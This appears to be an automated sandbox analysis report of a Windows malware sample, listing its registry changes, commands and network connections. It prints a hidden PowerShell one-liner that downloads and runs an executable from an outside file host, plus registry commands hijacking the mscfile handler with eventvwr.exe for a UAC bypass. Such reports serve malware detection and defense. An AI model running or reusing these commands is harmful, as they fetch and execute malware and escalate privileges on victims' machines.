Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\Software\Classes\mscfile\shell\open\command] '' = '%TEMP%\puttkk6.exe'
Malicious functions
Downloads and executes
- https://a.pomf.cat/pesypj.exe as %temp%\puttkk6.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' cmd.exe /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('https://a.pomf.cat/pesypj.exe','%TEMP%\puttkk6.exe') & reg add HKCU\Software\Classes\mscfile\...
Network activity
Connects to
- 'a.##mf.cat':443
TCP
Other
- 'a.##mf.cat':443
UDP
- DNS ASK a.##mf.cat
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' cmd.exe /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('https://a.pomf.cat/pesypj.exe','%TEMP%\puttkk6.exe') & reg add HKCU\Software\Classes\mscfile\...' (with hidden window)
Executes the following
- '<SYSTEM32>\reg.exe' add HKCU\Software\Classes\mscfile\shell\open\command /d %TEMP%\puttkk6.exe /f
- '<SYSTEM32>\eventvwr.exe'
